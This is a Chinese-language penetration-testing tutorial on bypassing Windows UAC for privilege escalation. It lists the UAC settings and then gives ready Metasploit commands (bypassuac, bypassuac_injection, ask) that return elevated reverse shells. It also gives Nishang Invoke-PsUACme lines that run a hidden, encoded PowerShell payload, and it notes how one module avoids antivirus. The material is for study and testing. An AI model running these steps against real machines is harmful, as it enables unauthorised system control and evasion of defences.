利用繞過UAC提權


如果計算機的操作系統版本是vista或者更高,在權限不夠的情況下,訪問系統的磁盤的根目錄,windows目錄、programfiles目錄,以及讀寫系統登錄數據庫的程序等操作,都需要經過user account control,用戶賬戶控制的認證才可以進行
 
需要UAC的授權才能進行的操作:
配置Windows Update;增加、刪除賬戶;更改賬戶類型;更改UAC的設置;安裝ActiveX;安裝、卸載程序;安裝設備驅動程序;將文件移動/復制到ProgramFiles或Windows目錄下;查看其它用戶的文件夾
 
UAC有如下四種設置要求:
始終通知:這是最嚴格的設置,每當有程序需要使用高級別的權限時都會提示本地用戶
僅在程序試圖更改我的計算機時通知我:這是UAC的默認設置。當本地Windows程序要使用高級別的權限時,不會通知用戶。但是,當第三方程序要使用高級別的權限時,會提示本地用戶
僅在程序試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設置的要求相同,但在提示用戶時不降低桌面的亮度
從不提示:當用戶為系統管理員時,所有程序都會以最高權限運行
 
MSF下獲取system權限利用:
use exploit/windows/local/bypassuac  #該模塊運行時會因為在目標機上創建多個文件而被殺毒軟件識別,因此通過該模塊提權成功率很低。
use exploit/windows/local/bypassuac_injection  #該模塊直接運行在內存的反射DLL中,所以不會接觸目標機器的硬盤,從而降低了被殺毒軟件檢測出來的概率
利用成功前提條件:
系統當前用戶必須在管理員組中
UAC設置為默認,即:僅在程序試圖更改我的計算機時通知我
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 33330
exploit
用戶不在管理員組出現如下情況:

更換用戶后如下成功:

推斷是msf本身問題
use exploit/windows/local/bypassuac_injection
set session 1
set target 1
set lhost 0.0.0.0
set lport 33339

runas模塊
模塊會創建一個可執行文件,目標機器會運行一個發起提權的請求程序,提示用戶是否要繼續運行,如果用戶選擇繼續運行程序,就會返回一個高權限的shell,同樣這里是需要用戶在管理員組或者知道管理員的密碼,對UAC的設置沒有要求
use exploit/windows/local/ask
set session 1
set lhost 0.0.0.0
set lport 22222
run

Nishang中的Invoke-PsUACme模塊

Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose  使用sysprep方法並執行默認的payload

Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose   使用oobe方法並執行默認的payload

Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YOURPAYLOAD"  可以指定要執行的payload

補充:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM